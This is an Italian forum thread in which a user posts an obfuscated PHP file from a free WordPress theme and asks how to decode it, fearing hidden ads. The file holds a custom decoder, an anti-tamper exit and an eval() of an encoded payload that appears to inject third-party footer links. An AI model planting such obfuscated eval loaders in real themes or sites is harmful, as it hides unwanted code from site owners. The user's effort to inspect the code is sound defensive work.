File criptato o offuscato: come?

[Profeta]

Ciao a tutti, mi hanno indirizzato a questo forum perchè ho questo problema: ho una pagina di php criptata che dovrei rimettere in chiaro, in quanto ho la sensazione (siccome è in teoria un tema x wordpress free) che abbia al suo interno un codice di ads che non è per nulla richiesto... e non vorrei ritrovarmi con un sito che mi rimanda pubblicità e traffico non voluti

il codice è il seguente

<?php    if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29"))  {   function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E)   {    $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E);    $T7FC56270E7A70FA81A5935B72EACBE29 = 0;    $T9D5ED678FE57BCCA610140957AFAB571 = 0;    $T0D61F8370CAD1D412F80B84D143E1257 = 0;    $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]);    $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3;    $T800618943025315F869E4E1F09471012 = 0;    $TDFCF28D0734569A6A693BC8194DE62BF = 16;    $TC1D9F50F86825A1A2302EC2449C17196 = "";    $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E);    $TFF44570ACA8241914870AFBC310CDB85 = __FILE__;    $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85);    $TA5F3C6A11B03839D46AF9FB43C97C188 = 0;    preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188);    for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;)    {     if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit;     if ($TDFCF28D0734569A6A693BC8194DE62BF == 0)     {      $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8);      $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]);      $TDFCF28D0734569A6A693BC8194DE62BF = 16;     }     if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000)     {      $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4);      $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4);      if ($T7FC56270E7A70FA81A5935B72EACBE29)      {       $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3;       for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++)        $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257];       $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571;      }      else      {       $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8);       $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16;       for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]);       $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571;      }     }     else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++];     $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1;     $TDFCF28D0734569A6A693BC8194DE62BF--;     if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F)     {      $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196);      $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."<"."?";      return $TFF44570ACA8241914870AFBC310CDB85;     }    }   }  }  eval(T7FC56270E7A70FA81A5935B72EACBE29("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"));  ?>

ho provato a vedere se era base64 ma non risulta essere, cosa potrei fare per capire cosa sia?

 

[alessandro1997]

Se il creatore ha voluto inserire per forza una pubblicità nel suo tema allora non hai diritto di toglierla senza il suo consenso. E, se posso darti un consiglio, per quanto possa essere bello, ti consiglio vivamente di cambiare tema e scaricare solamente i temi che sono presenti su http://wordpress.org/.

 

[Profeta]

beh in generale il tema è free e dichiarato senza ads, ed in particolar ho bisogno di quello, altrimenti era scontato cercarne un altro... allo stesso tempo, il mio obiettivo non è tanto togliere una pubblicità (che in ogni caso al momento non rilevo) ma sapere questa particolare pagina va a fare, visto che non sono particolarmente felice di avere nel sito una pagina che non si sa cosa faccia... è vero che non è niente di importante ma solo una pagina di un gruppo di un gioco online, ma in generale vorrei sapere cosa c'è di tanto importante da essere nascosto

 

[Eliox]

Sarebbe interessante sapere di quale tema di tratta.